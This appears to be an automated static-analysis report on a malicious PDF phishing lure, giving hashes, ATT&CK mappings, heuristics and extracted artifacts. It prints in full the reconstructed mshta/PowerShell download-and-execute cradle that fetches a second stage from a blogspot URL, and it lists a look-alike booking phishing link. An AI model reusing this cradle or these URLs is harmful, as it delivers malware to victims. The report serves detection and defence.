Malicious PDF — malware analysis report

Static analysis result for SHA-256 26151e6df5ac089a…

MALICIOUS

PDF

52.5 KB Created: 2025-09-28 19:23:03 UTC Authoring application: DocFly First seen: 2026-04-23
MD5: efc8064c7f7c4d25cf8fc0b7c0160539 SHA-1: bf885feb980e056f29757a9e96e07e133ef8148f SHA-256: 26151e6df5ac089a79eecf4032e375e51d50b319ed671c1dadec522a945c9264
478 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious Link T1071.001 Web Protocols T1105 Ingress Tool Transfer T1218.005 Mshta

The PDF document contains a JavaScript launch action that utilizes mshta.exe to execute a PowerShell download cradle. This cradle, reconstructed as 'javascript:var abc=['Shell.Application','SHELLEXECUTE','powershell','-ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IrM https://potalgonabunbunsed.blogspot.com/compac.pdf); Start-Sleep -Seconds 9','','open',0],ghi=new ActiveXObject(abc[0]);ghi[abc[1]](abc[2],abc[3],abc[4],abc[5],abc[6]);close();', is designed to download and execute a second-stage payload from the URL 'https://potalgonabunbunsed.blogspot.com/compac.pdf'. The presence of an image-only lure and a clickable action further supports a phishing or social engineering attack vector.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 14

  • /Launch action target: mshta critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target — references a known-dangerous executable (cmd, PowerShell, etc.).
  • /Launch action targets mshta.exe (LOLBIN) critical PDF_LAUNCH_MSHTA
    PDF contains a /Launch action whose /F parameter names mshta — Microsoft's legacy HTML Application host, used as a LOLBIN to run inline JScript/VBScript from a /P parameter (typically a `javascript:` URL). MITRE ATT&CK T1218.005.
  • /Launch /P parameter is a javascript: URL critical PDF_LAUNCH_JS_PROTOCOL
    PDF /Launch action passes a `javascript:` URL as the /P parameter — mshta interprets this as JScript when used as the launched handler, giving inline script execution without a separate payload file. MITRE ATT&CK T1218.005 + T1059.005.
  • PowerShell download cradle in PDF action body critical PDF_PS_DOWNLOAD_CRADLE
    PDF contains a PowerShell download-and-execute cradle (IEX/Invoke-Expression of a remote payload, [Net.WebClient]/[Net.ServicePointManager], or `-ep Bypass -enc <base64>`). These strings are rare in benign PDFs and are strong evidence of payload staging in an attack chain (MITRE T1059.001 + T1105).
  • Shell.Application.ShellExecute COM pivot critical PDF_SHELL_APPLICATION_PIVOT
    PDF contains a Shell.Application object instantiation followed by a ShellExecute call — an evasion technique that can spawn the next-stage process via COM rather than the PDF /Launch action, sidestepping the reader's /Launch confirmation prompt. Often paired with mshta and a `javascript:` URL.
  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • Image-only document with action trigger (screenshot lure) medium PDF_IMAGE_LURE
    PDF has 1 image(s), only 0 text block(s), carries a click-outward action, and is only 52 KB — typical shape of a phishing lure where a full-page screenshot hides a clickable button that launches or submits to an attacker URL.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • JavaScript action low PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Additional-actions dictionary low PDF_AA
    PDF defines /AA (Additional Actions) that references an executable action (JS/JavaScript/Launch/SubmitForm) — can auto-trigger on document or widget events. Form-field calc/format/validate/keystroke handlers in legitimate interactive forms commonly fire this, so it is reported as a low-weight signal; weaponised auto-execution is flagged by stronger rules (PDF_OPENACTION, encrypted-with-JS, etc.)
  • External URI info PDF_URI
    PDF contains an external URL action
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://account.bo0king.co/#invoice-1637482117.pdf
    • https://www.dynaforms.com
    • https://potalgonabunbunsed.blogspot.com/compac.pdf\
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#
    • http://ns.adobe.com/pdf/1.3/
    • http://ns.adobe.com/xap/1.0/
    • http://ns.adobe.com/xap/1.0/mm/
    • https://potalgonabunbunsed.blogspot.com/compac.pdf

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js
578fc8de6e928a575e0bbea33f45500a773ce9654d4069132b7d7e759cc50c6b		 pdf-javascript-stream PDF /JS object 5 at offset 0xB8 70 bytes
embedded_pdf_script_0000ca11.bin
482a92344f5789757d52c48670feedd75ce49536b37d822dcc4f05e843ce4e22		 pdf-embedded-script PDF decompressed stream script payload at offset 0xCA11 365 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 shell/COM execution token(s).

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